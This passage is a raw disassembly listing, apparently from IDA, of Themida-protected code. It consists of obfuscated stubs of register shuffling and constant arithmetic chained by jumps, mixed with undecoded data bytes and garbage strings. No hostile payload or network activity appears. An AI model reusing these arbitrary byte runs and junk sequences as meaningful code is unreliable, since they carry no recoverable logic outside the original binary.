		add	edi, edx
		pop	edx
		push	ebp
		mov	ebp, 71D046A8h
		push	10A9h
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_557CE8
; ---------------------------------------------------------------------------


loc_559DB0:				; CODE XREF: Themida_:00566446j
		add	ebp, ebx
		jmp	loc_555FF1
; ---------------------------------------------------------------------------


loc_559DB7:				; CODE XREF: Themida_:0055F5D8j
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_55CB98
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0F16CE900h, 0F8010000h, 3C1AE9h, 239C2D00h, 81E91A86h
		dd 890000D3h, 0CA46E9E5h, 0C330000h, 1EBCE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559DEE:				; CODE XREF: Themida_:00568EA6j
		push	esp
		jmp	loc_5636C4
; ---------------------------------------------------------------------------


loc_559DF4:				; CODE XREF: Themida_:0056561Dj
		push	16700EA9h
		pop	ecx
		push	edi
		jmp	loc_557719
; ---------------------------------------------------------------------------
		dd 81D6F746h, 2F7286EEh, 0CE814E57h, 10A66C36h,	90CFEE81h
		dd 0C281E3EAh, 78A66C1Ch, 1FE9F229h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559E23:				; CODE XREF: Themida_:0055AC55j
		pop	esi
		mov	esi, ecx
		pop	ecx
		jmp	loc_566C5E
; ---------------------------------------------------------------------------
		dd 8704C283h, 875C2414h, 248B240Ch, 24D36624h, 81E99C24h
		dd 81FFFFBEh, 0B381D0F2h, 5AD001FAh, 4EC81h, 0C890000h
		dd 24726824h, 34890000h, 42EC6824h, 0E95E183Dh,	6F04h
; ---------------------------------------------------------------------------


loc_559E68:				; CODE XREF: Themida_:005610DAj
		mov	ecx, 38h
		sub	ecx, 74CA66A1h
		add	ecx, 5C2F6984h
		add	ecx, edi
		jmp	loc_55AB3E
; ---------------------------------------------------------------------------
		dd 0CC28F9B9h, 0E9CE314Eh, 0A46Dh, 0A7E5C681h, 4B2D478Ah
		dd 0E9375944h, 5FB1h, 54CB65BFh, 0B6C781F1h, 139E204h
		dd 0B6EF81CFh, 0E939E204h, 6B54h
; ---------------------------------------------------------------------------


loc_559EB4:				; CODE XREF: Themida_:00557D70j
		push	esi
		jmp	loc_55B136
; ---------------------------------------------------------------------------
		dw 0FE87h
		dd 202FE9h
		db 0
; ---------------------------------------------------------------------------


loc_559EC1:				; CODE XREF: Themida_:0055ACF2j
		pop	ebp
		add	ebp, 0D3FCD502h
		push	5797h
		mov	[esp], eax
		jmp	loc_5684E4
; ---------------------------------------------------------------------------


loc_559ED5:				; CODE XREF: Themida_:00556D3Cj
		mov	esi, 3ECF31AEh
		sub	edi, esi
		jmp	loc_55D77E
; ---------------------------------------------------------------------------
		db 89h,	0DDh, 5Bh
		dd 0F7E9E831h
		db 0C4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_559EEB:				; CODE XREF: Themida_:00568598j
		add	[ecx], ebx
		jmp	loc_5607BA
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 4BD24h, 0E9530000h, 0EDCAh
; ---------------------------------------------------------------------------


loc_559F00:				; CODE XREF: Themida_:0055B57Aj
		sub	ecx, 27E51562h
		mov	eax, [ecx]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	5901h
		mov	[esp], ebp
		jmp	loc_55676A
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 335DEF01h, 40E9243Ch, 4000086h, 5266599Eh, 0D000B7B2h
		dd 7EE95A66h, 0BD000091h, 197D1854h, 616968h, 243C8900h
		dd 4A2AE953h, 2C870000h, 0C2815C24h, 4,	8B241487h, 0E4E92424h
		dd 8100004Fh, 970EEDEAh, 0F3EA815Ch, 89960AC1h,	0EDE95AD1h
		dd 0FF000035h, 34FF2434h, 53685924h, 89000004h,	5B54241Ch
		dd 4EC8350h, 0BD242C89h, 27926590h, 0E5C1E5D1h,	4EC8102h
		dd 89000000h, 60682434h, 89000068h, 47E92414h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_559FAF:				; CODE XREF: Themida_:00556F45j
		sub	ebx, esi
		pop	esi
		and	ebx, 0BDE108Dh
		neg	ebx
		sub	ebx, 0EB7C7812h
		jmp	loc_565C09
; ---------------------------------------------------------------------------


loc_559FC5:				; CODE XREF: Themida_:00556DCFj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebp, [esp]
		add	esp, 4
		not	ebp
		xchg	ebp, edi
		push	ebp
		push	9D2E6D68h
		pop	ebp
		add	edi, 722F2B47h
		add	edi, ebp
		push	ebp
		mov	ebp, 7753104Bh
		add	ebp, 0FADC1AFCh
		jmp	loc_55C03B
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 582434FFh, 0FFDC86E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A005:				; CODE XREF: Themida_:0055F244j
		sub	esp, 4
		mov	[esp], esi
		push	edx
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		jmp	loc_568A19
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812434h, 4, 0FFC412E9h, 78EA81FFh, 0E963172Eh, 1B91h
; ---------------------------------------------------------------------------


loc_55A038:				; CODE XREF: Themida_:00559CC6j
		pop	esi
		shr	ecx, 0Bh
		push	ecx
		push	55C6h
		mov	[esp], ebx
		push	eax
		jmp	loc_5698FD
; ---------------------------------------------------------------------------
aBiD_Isda	db 'ë¹dÝ.)ëéd€',0
		align 4


loc_55A058:				; CODE XREF: Themida_:00566A2Aj
		add	dl, 0FFh
		jmp	loc_55ECE9
; ---------------------------------------------------------------------------
aIusb		db '䋎b',8,0
		dw 0FE00h
aSrAAAtSw	db 'ÈSR²{€ê×€êÁ€âÃéW ',0
		dw 100h
aZsb		db 'ÑZé¡Ú',0
		db 0
; ---------------------------------------------------------------------------


loc_55A083:				; CODE XREF: Themida_:00567FF4j
		add	bl, 0E9h
		pop	ax
		jmp	loc_563F64
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0B6h
		dd 76866CCh, 0C89662Fh,	2934E924h, 68550000h, 1741076Eh
		dd 0DDB7E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A0A9:				; CODE XREF: Themida_:0055FE56j
		add	esi, 76657A71h
		pop	edx
		jmp	loc_55F046
; ---------------------------------------------------------------------------


loc_55A0B5:				; CODE XREF: Themida_:00565B2Aj
		add	edx, 7C8272AFh
		jmp	loc_55FC35
; ---------------------------------------------------------------------------
		dd 8082F480h, 0E2006DC4h, 0D802E9h, 2434FF00h, 0E954535Eh
		dd 0FA4Ah, 5524148Bh, 9673E9h, 24148B00h, 8704C483h, 0FF5C2434h
		dd 48B2434h, 0BD2AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A0F6:				; CODE XREF: Themida_:0055FCB5j
		sub	dword ptr [esp+4], 16C40593h
		push	ecx
		jmp	loc_5649C6
; ---------------------------------------------------------------------------
		dd 5004C483h, 10E2FE9h,	45B6600h, 2CC828C0h, 2434FFC0h
		dd 7558E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A11E:				; CODE XREF: Themida_:0056536Aj
		sub	esi, 41D83E2Fh
		add	esi, edi
		jmp	loc_55B35C
; ---------------------------------------------------------------------------
		db 8Fh
		dd 907E902h, 89660000h,	72B7241Ch, 53668904h, 0EE59E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A141:				; CODE XREF: Themida_:0055798Ej
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		sub	esp, 4
		jmp	loc_5641DC
; ---------------------------------------------------------------------------


loc_55A155:				; CODE XREF: Themida_:00558B59j
		mov	ecx, 3A9D32CCh
		xor	ecx, 731103A0h
		neg	ecx
		dec	ecx
		jmp	loc_55C455
; ---------------------------------------------------------------------------


loc_55A168:				; CODE XREF: Themida_:0056456Bj
		push	esi
		jmp	loc_55FCBA
; ---------------------------------------------------------------------------
		dw 489h
		dd 0BD11E924h, 0C481FFFFh, 4, 0E9241C87h, 0FFFFC464h, 87A6E955h
		dd 0C3300000h, 66C0B60Fh, 5324148Bh, 0EC83E389h, 80C9E904h
		dd 97680000h, 0E900006Ch, 85EDh, 5C240487h, 4C481h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55B129
; ---------------------------------------------------------------------------
		dw 0E7D1h
		dd 0F80EEF81h, 0FA01DA90h, 0FFE0C3E9h, 0F5E95CFFh, 87FFFFBAh
		dd 248B242Ch, 0ED815B24h, 0D513231h, 0FA75E9h, 60E95C00h
		dd 58FFFFDFh, 0E924048Fh, 5A2h,	5C240487h, 9C2424D3h, 0FFBAC7E9h
		dd 1C77FFFFh, 0D359669Dh, 0E99C241Ch, 0FFFFBAB8h, 1FBA6857h
		dd 0D8E90000h, 1000019h, 0EF835AD7h, 243C8704h,	8924248Bh
		dd 5257242Ch, 9188E9h, 6EFC000h, 80BDF780h, 0E7C05FCFh
		dd 0F7EF8004h, 285BF988h, 0EC8159C8h, 2, 241C8966h, 0FFD581E9h
		dd 1BDFFh, 0EE290000h, 2E6815Dh, 4637164Eh, 0BA01C681h
		dd 0F501EFEDh, 268505Eh, 58000000h, 48BC501h, 4C48124h
		dd 87000000h, 248B242Ch, 0C8B6624h, 2BB56824h, 2C890000h
		dd 0E9E58924h, 4C50h
; ---------------------------------------------------------------------------


loc_55A294:				; CODE XREF: Themida_:00556F54j
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_562322
; ---------------------------------------------------------------------------


loc_55A29F:				; CODE XREF: Themida_:00557EFDj
		push	esi
		jmp	loc_565ED4
; ---------------------------------------------------------------------------
		db 66h,	68h, 0D0h
		dd 1C89663Ah, 47B05024h, 88511D0Ch, 2807E9C5h, 66640000h
		dd 5451028Bh, 0E33FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A2C5:				; CODE XREF: Themida_:0055EE30j
		mov	[esp], eax
		push	37D2h
		mov	[esp], ecx
		mov	cl, 63h
		shr	cl, 1
		or	cl, 0EDh
		jmp	loc_5659F7
; ---------------------------------------------------------------------------
		dd 0E9241489h, 0FFFFCA84h, 345268h, 24048900h, 37C7E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A2F1:				; CODE XREF: Themida_:005658B6j
		add	ebp, 4
		jmp	loc_55D088
; ---------------------------------------------------------------------------


loc_55A2FC:				; CODE XREF: Themida_:00565269j
		sub	ebx, edi
		jmp	loc_55AC1B
; ---------------------------------------------------------------------------
		db 81h
		dd 0CB6D90C5h, 5F58103h, 1394429h, 0C7815DEAh, 3A31AF3h
		dd 0BA52D729h, 3A31AF3h, 5A5AD729h, 0EC68D7F7h,	89000034h
		dd 0AC68241Ch, 0FFC92EA2h, 565B2434h, 0C681E689h, 4, 8704C683h
		dd 15C2434h, 2434FFDFh,	0E389535Bh, 4C381h, 0C3810000h
		dd 4, 8B241C87h, 0F8312424h, 68243C8Bh,	60Fh, 89240489h
		dd 405E0h, 0EC830000h, 242C8904h, 4BDh,	66E9E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A386:				; CODE XREF: Themida_:0055FEF7j
		add	ebx, edi
		add	ebx, 7AFF0093h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_563057
; ---------------------------------------------------------------------------
aTsx		db 'TéX=',0
		align 10h


loc_55A3B0:				; CODE XREF: Themida_:005685C4j
		mov	ebx, 0
		add	ebx, ecx
		mov	[ebx], dl
		pop	ebx
		pop	edx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 73C4741h
		add	edi, 0F8C3B8C3h
		add	esi, edi
		pop	edi
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_564A48
; ---------------------------------------------------------------------------


loc_55A3DC:				; CODE XREF: Themida_:0055EF8Cj
		mov	esi, ecx
		pop	ecx
		xor	[esp+4], esi
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		mov	edi, [esp]
		jmp	loc_566606
; ---------------------------------------------------------------------------


loc_55A3FF:				; CODE XREF: Themida_:0055EB33j
		mov	[esp], eax
		mov	eax, 28D707F2h
		add	dword ptr [esp+4], 2AE57C8Ch
		sub	[esp+4], eax
		push	edx
		jmp	loc_557699
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5B04h, 26E95C24h,	53000108h, 7852FBBBh, 78D8E97Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A432:				; CODE XREF: Themida_:00567712j
		pop	ebx
		jmp	loc_569D1F
; ---------------------------------------------------------------------------
		dd 240C895Ch, 37117BB9h, 59CD0115h, 753EE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A44A:				; CODE XREF: Themida_:005632E7j
		sub	esi, edi
		jmp	loc_557D0A
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd offset dword_59C168
		dd 24048900h, 68D58851h, 1BB4h,	88241C89h, 525051EBh, 1CE9DA88h
		db 0Ah,	1, 0
; ---------------------------------------------------------------------------


loc_55A473:				; CODE XREF: Themida_:00565700j
		add	esp, 2
		push	edx
		push	small 0FFBh
		mov	[esp], bx
		jmp	loc_563447
; ---------------------------------------------------------------------------
		db 66h
		dd 5624048Bh, 0B951E689h, 4, 0FC8E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A499:				; CODE XREF: Themida_:00569D63j
		xor	esi, [esp]
		mov	esp, [esp]
		shr	eax, 0Ch
		jmp	loc_55DB67
; ---------------------------------------------------------------------------
		db 89h
		dd 133FE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A4AE:				; CODE XREF: Themida_:00556258j
		inc	ebx
		sub	ebx, 76992E6Eh
		add	ebx, 41023ECCh
		add	ebx, 22C2A49h
		jmp	loc_567764
; ---------------------------------------------------------------------------
aAIcxa3h	db '€Ä²ˆæX€Î3h',0
		align 4
aSp		db 'ép]',0
		dd 5411B900h, 6C813498h, 6E350424h, 58E90907h, 1000071h
		dd 0C0D0E9C7h, 33BBFFFFh, 2907330Eh, 68585BDEh,	425Dh
		dd 0BB241C89h, 2, 4483C681h, 0DE010845h, 0EEBCE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A515:				; CODE XREF: Themida_:0055F2BCj
		mov	ebx, 7A924C40h
		not	ebx
		jmp	loc_55EC47
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 817E95Ch, 34FF0000h,	28E95824h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A533:				; CODE XREF: Themida_:00561A92j
		mov	[esp], ebx
		jmp	loc_560A68
; ---------------------------------------------------------------------------
aIxsau		db '‰åé€u',0
		align 2
		dw 58BBh
		dd 81040A67h, 0B707B9F3h, 8363E963h, 0C1810000h, 7C660C0Bh
		dd 2720E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A55D:				; CODE XREF: Themida_:005660A1j
		sub	ebx, ecx
		pop	ecx
		jmp	loc_562EB9
; ---------------------------------------------------------------------------


loc_55A565:				; CODE XREF: Themida_:00557C35j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	edi
		jmp	loc_564BFD
; ---------------------------------------------------------------------------


loc_55A572:				; CODE XREF: Themida_:0056074Cj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55F28F
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0A8h
		dd 0E96F545Eh, 1D05h
; ---------------------------------------------------------------------------


loc_55A588:				; CODE XREF: Themida_:0055B968j
		mov	esi, 10523E70h
		jmp	loc_56A975
; ---------------------------------------------------------------------------


loc_55A592:				; CODE XREF: Themida_:005603D8j
		xchg	ebx, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5665FD
; ---------------------------------------------------------------------------


loc_55A5A7:				; CODE XREF: Themida_:0055E95Bj
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	ecx, edx
		pop	edx
		jmp	loc_565619
; ---------------------------------------------------------------------------


loc_55A5B5:				; CODE XREF: Themida_:0055D717j
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	3E7Ch
		mov	[esp], edi
		mov	edi, 71CF7510h
		add	edi, 8E308AF1h
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 8F21EE28h
		add	ebx, ebp
		pop	ebp
		push	eax
		mov	eax, 0F386FE3h
		jmp	loc_56AC66
; ---------------------------------------------------------------------------
		db 66h
		dd 9B686650h, 1C89666Ah, 66586624h, 0E9241C8Bh,	4A0Eh
		dd 0AAE9DA30h, 50000058h, 268h,	24048B00h, 81E38953h, 4C3h
		dd 4C38100h, 87000000h,	15C241Ch, 5F6858C3h, 0E9000067h
		dd 8A35h
; ---------------------------------------------------------------------------


loc_55A634:				; CODE XREF: Themida_:00558A14j
		sub	bl, 0B0h
		sub	bl, 1Ah
		push	cx
		mov	ch, 2Bh
		sub	bl, ch
		pop	cx
		sub	bl, cl
		jmp	loc_55E777
; ---------------------------------------------------------------------------


loc_55A649:				; CODE XREF: Themida_:00560989j
		pop	edi
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_56785F
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 0E9240431h, 356Fh
; ---------------------------------------------------------------------------


loc_55A660:				; CODE XREF: Themida_:00556F3Bj
		mov	[esp], ecx
		jmp	loc_55BDF7
; ---------------------------------------------------------------------------
		dd 0C05AF530h, 0E58005E5h, 61E580C5h, 0EDD0D5F6h, 28B1F580h
		dd 0B0E959E8h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A683:				; CODE XREF: Themida_:0055EAC4j
		push	ebp
		mov	ebp, 27291F58h
		sub	edx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		push	eax
		mov	eax, 26F55804h
		jmp	loc_5591A5
; ---------------------------------------------------------------------------


loc_55A69D:				; CODE XREF: Themida_:00569C8Bj
		mov	edx, 4
		jmp	loc_562224
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 0B612E904h, 0C789FFFFh, 0A288E958h, 6C810000h
		dd 257D0424h, 6C812515h, 3BBC0424h, 6C0102CCh, 44810424h
		dd 3BBC0424h, 448102CCh, 257D0424h, 0FF5D2515h,	0E9582434h
		dd 0FFFFF6DBh, 4C681h, 34870000h, 11AFE924h, 46BA0000h
		dd 0E9059655h, 0FFFFD8D6h, 0E92414F7h, 4E1Bh, 5C243487h
		dd 8B48E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A711:				; CODE XREF: Themida_:00558925j
		add	ebx, 4
		jmp	loc_56870B
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aHj		db '$h†',9,0
		align 2
		dw 0C89h
		db '$hÀ^',0
		align 2
		dw 8F54h
		dd 0BD552404h, 4, 4246C01h, 7372E95Dh, 7FBD0000h, 0E94B6653h
		dd 0C60Fh, 0E95DE989h, 0CF36h, 5C243C87h, 0B1240C89h, 0E94EB00Fh
		dd 27CBh, 32D5B568h, 0BE565ACBh, 4C9D33ECh, 0E907E6C1h
		dd 0DD11h
; ---------------------------------------------------------------------------


loc_55A774:				; CODE XREF: Themida_:005629B7j
		mov	bx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55820C
; ---------------------------------------------------------------------------
		dw 0D35Ch
		dd 0E99C242Ch, 0FFFFB528h
; ---------------------------------------------------------------------------


loc_55A79C:				; CODE XREF: Themida_:00558DF0j
		sub	eax, 38103E2Dh
		dec	eax
		shl	eax, 8
		jmp	loc_5637A8
; ---------------------------------------------------------------------------
		dw 295Bh
		dd 0E904246Ch, 6CDDh, 24048F54h, 72F3BB53h, 56512DFAh
		dd 7A7014BEh, 6DC5E969h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A7CA:				; CODE XREF: Themida_:00568B56j
		pop	esi
		jmp	loc_55FEF4
; ---------------------------------------------------------------------------
		dd 2D3E68h, 24148900h, 2005C7BAh, 5AD101E6h, 6DE9CA89h
		dd 8F000051h, 3EE92404h, 0C1000021h, 0E95606EAh, 48A1h
		dd 7504F028h, 0E9C3305Ah, 6764h
; ---------------------------------------------------------------------------


loc_55A804:				; CODE XREF: Themida_:00560C46j
		and	ebp, 15801878h
		inc	ebp
		not	ebp
		jmp	loc_55D3C4
; ---------------------------------------------------------------------------


loc_55A812:				; CODE XREF: Themida_:0055C09Aj
		add	esi, 2AA13EEAh
		jmp	loc_55F2E2
; ---------------------------------------------------------------------------


loc_55A81D:				; CODE XREF: Themida_:00561B8Fj
		push	76F3h
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	4FFCh
		mov	[esp], ebp
		mov	ebp, 47F53E95h
		jmp	loc_55BCF0
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 2
		dd 87000000h, 5A5C2434h, 33068h, 241C8900h, 50CDB551h
		dd 0C024B252h, 0EAC003EAh, 4F47E905h, 0F8290000h, 4EC835Fh
		dd 0BA241489h, 1, 9592E9h, 57EE8100h, 110283Dh,	0ACA2E9DEh
		dd 37050000h, 8B4BCB5Bh, 8952243Ch, 4C281E2h, 83000000h
		dd 57E904C2h, 0BEFFFFDEh, 0D8F5DCBBh, 0E9F38953h, 38BEh
		dd 2474FF57h, 48F5F04h,	0F665C24h, 9C2404B3h, 0FFB3FBE9h
		dd 4C381FFh, 81000000h,	4C3h, 241C8700h, 5224248Bh, 30768h
		dd 48F5400h, 98E95024h,	57FFFFCCh, 0AA7EE9h, 49D9F700h
		dd 6A25C981h, 51525C8Dh, 68BF5756h, 5242FD2Dh, 5E52FA89h
		dd 0F1895F5Ah, 843DBA5Eh, 0EAE992EDh
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A917:				; CODE XREF: Themida_:0056A5A5j
		add	ebp, 0F61AF3BDh
		sub	edx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 4873642Ch
		add	edx, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	3B10h
		mov	[esp], ebx
		mov	ebx, 76BA4349h
		sub	edx, ebx
		pop	ebx
		sub	edx, 136666CAh
		jmp	loc_555CC4
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 0A1h
		dd 8BFFFFFDh, 0C483242Ch, 24048F04h, 4EC815Ch, 0E9000000h
		dd 0FFFFE6E0h, 0E924248Bh, 0FFFFED9Ah, 8245C29h, 245C015Bh
		dd 0CB62E904h, 0E954FFFFh, 2DDFh, 0EA81CA01h, 7D7D75C2h
		dd 319E9h, 0E9565800h, 10DDh
; ---------------------------------------------------------------------------


loc_55A9A4:				; CODE XREF: Themida_:0055C633j
		push	0
		sub	[esp], ecx
		pop	ecx
		push	esi
		jmp	loc_562E1D
; ---------------------------------------------------------------------------


loc_55A9B3:				; CODE XREF: Themida_:00562BD5j
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		push	ebp
		mov	ebp, 4C400277h
		mov	edi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5594B9
; ---------------------------------------------------------------------------


loc_55A9CE:				; CODE XREF: Themida_:005653DFj
		mov	[esp], edi
		mov	edi, 5D435CB1h
		add	eax, edi
		jmp	loc_563F86
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 34330000h, 0F524E924h, 0C4810000h, 4, 9ABE9h
		dd 59CA8900h, 555AD189h, 7C639BBDh, 4E5C140h, 6804E5C1h
		dd 19Fh, 0E9243489h, 1167h
; ---------------------------------------------------------------------------


loc_55AA18:				; CODE XREF: Themida_:0055D3BFj
		pop	edx
		mov	ebp, [esp]
		jmp	loc_55DB98
; ---------------------------------------------------------------------------


loc_55AA21:				; CODE XREF: Themida_:00569E96j
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, 1DFBED03h
		jmp	loc_55ED73
; ---------------------------------------------------------------------------
		dw 0D7F6h
		dd 0C324E9h, 0B286E900h, 0C581FFFFh, 754F3C5Bh,	7A32F581h
		dd 0ABE9E4DBh, 680000B0h, 6B82h, 0E9242C89h, 5A11h, 0C281E289h
		dd 4, 4C281h, 14870000h, 1AE95C24h, 5AFFFFDFh, 54D5E9h
		dd 815A5400h, 4C2h, 4C28300h, 2474FF52h, 48F5A04h, 6803E924h
		dd 0C3810000h, 44C2A881h, 565BD931h, 491689BEh,	6BAE956h
		dd 0C7810001h, 270029B5h, 4072EF81h, 0F901396Ah, 83243C8Bh
		dd 0EC8104C4h, 4, 0BB241C89h, 61A739CAh, 162AB951h, 81496375h
		dd 4F4F3EE1h, 99E18119h, 81738577h, 160052F1h, 23E9811Fh
		dd 0E9034C9Dh, 0FFFFB8DBh
; ---------------------------------------------------------------------------


loc_55AAEC:				; CODE XREF: Themida_:0055B362j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_567B17
; ---------------------------------------------------------------------------


loc_55AB04:				; CODE XREF: Themida_:0056A647j
		push	5B08h
		jmp	loc_55E6AF
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 2B85004h, 1000000h, 348758C6h, 24248B24h, 2424D366h
		dd 0B19AE99Ch, 0EA81FFFFh, 0CB0331Ch, 0C281CA29h, 0CB0331Ch
		dd 0AC05E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AB3E:				; CODE XREF: Themida_:00559E7Bj
		sub	ecx, 5C2F6984h
		push	esi
		mov	esi, 74CA66A1h
		add	ecx, 66681C47h
		jmp	loc_559633
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 241C8B04h, 4C481h, 48F0000h,	24248B24h, 0FC06857h, 3C8B4361h
		dd 4C48324h, 377CE9h, 240C8B00h, 4C481h, 77090000h, 2434FF1Ch
		dd 3CD8E9h, 240C2900h, 81240C8Bh, 4C4h,	0AC98E900h, 0E9570000h
		dd 0C2EDh
; ---------------------------------------------------------------------------


loc_55ABA4:				; CODE XREF: Themida_:00569898j
		mov	eax, 117Dh
		xor	ebp, eax
		pop	eax
		add	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_55ED3A
; ---------------------------------------------------------------------------
		db 89h,	0DAh, 89h
		dd 0D15B5AD5h, 6F581E5h, 0C1302F20h, 0DDF704E5h, 131EED81h
		dd 0E989F1E7h, 1F2BE9h,	24540100h, 815B5A04h, 4C3h, 2B95100h
		dd 81000000h, 165F83C3h, 81CB0124h, 165F83EBh, 0D080E924h
		dd 4680000h, 5B000000h,	0FFB80EE9h, 0F6CA88FFh,	0D78853D2h
		dd 3EE9F988h
		db 0CCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AC1B:				; CODE XREF: Themida_:0055A2FEj
		pop	edi
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56532C
; ---------------------------------------------------------------------------
		db 81h,	0E5h, 7Bh
		dd 817AAD08h, 240010F5h, 0D264E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AC3A:				; CODE XREF: Themida_:0055DD66j
		mov	esi, 9C64037h
		and	esi, 75A354FDh
		shr	esi, 3
		shr	esi, 5
		not	esi
		sub	esi, 0FBCEE0F5h
		xor	ecx, esi
		jmp	loc_559E23
; ---------------------------------------------------------------------------
		dw 0FA29h
		dd 83243C8Bh, 0E95B04C4h, 3C3Dh, 7A143835h, 40BA352Bh
		dd 74E92F73h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AC77:				; CODE XREF: Themida_:00560CDCj
		mov	edx, 56FB3629h
		or	edx, 483F33FFh
		shl	edx, 6
		jmp	loc_555DF6
; ---------------------------------------------------------------------------
aANhgs		db '€Âh£s',0
		align 2
		dw 17E9h
		db 0F4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AC97:				; CODE XREF: Themida_:00568FB5j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_55F23E
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8E58E92Dh, 8BC631DDh, 0C4832404h, 0A1BBE904h, 0C8B0000h
		dd 4C48124h, 50000000h,	6252A4B8h, 8E0C173h, 100A0548h
		dd 0FF056EDAh, 2DFFFFFFh, 0BE707E35h, 0E958C201h, 0FFFFD0F7h
; ---------------------------------------------------------------------------


loc_55ACE0:				; CODE XREF: Themida_:005660FBj
		mov	ebp, 80B6852h
		jmp	loc_560FB0
; ---------------------------------------------------------------------------


loc_55ACEA:				; CODE XREF: Themida_:0056A79Bj
		mov	[esp], ebp
		push	2E4C7340h
		jmp	loc_559EC1
; ---------------------------------------------------------------------------
		db 4Eh
		dd 197CEE81h, 0C6817F13h, 3272F9C3h, 39E9F101h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55AD0B:				; CODE XREF: Themida_:00556B99j
		add	ecx, edx
		pop	edx
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_564D77
; ---------------------------------------------------------------------------
aSzu		db '[é‡u',0
		align 2
aQh@		db '\Qh@&',0
		dd 241C8900h, 9B6DA6BBh, 10CEE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


